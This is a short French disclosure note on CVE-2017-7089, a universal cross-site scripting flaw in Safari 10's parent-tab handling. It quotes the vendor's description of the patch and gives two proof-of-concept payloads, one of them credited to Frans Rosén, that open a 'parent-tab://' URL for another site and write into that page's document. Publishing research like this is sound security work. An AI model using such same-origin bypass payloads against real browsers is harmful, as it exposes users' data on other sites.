CVE-2017-7089

Impact : Le traitement de contenu web malveillamment conçu peut mener à du cross-site scripting universel

Description : Un problème logique existait dans la gestion de l'onglet parent. Ce problème a été résolu avec une meilleure gestion de l'état.

Safari 10

Contournement local de SOP

<script> function Pew(){var doc=open('parent-tab://apple.com');doc.document.body.innerHTML='';}</script><button onclick=Pew();>Click me!</button>

Exploit par Frans Rosén

data:text/html,<script>function y(){x=open('parent-tab://google.com','_top'),x.document.body.innerHTML=''};setTimeout(y,100)</script>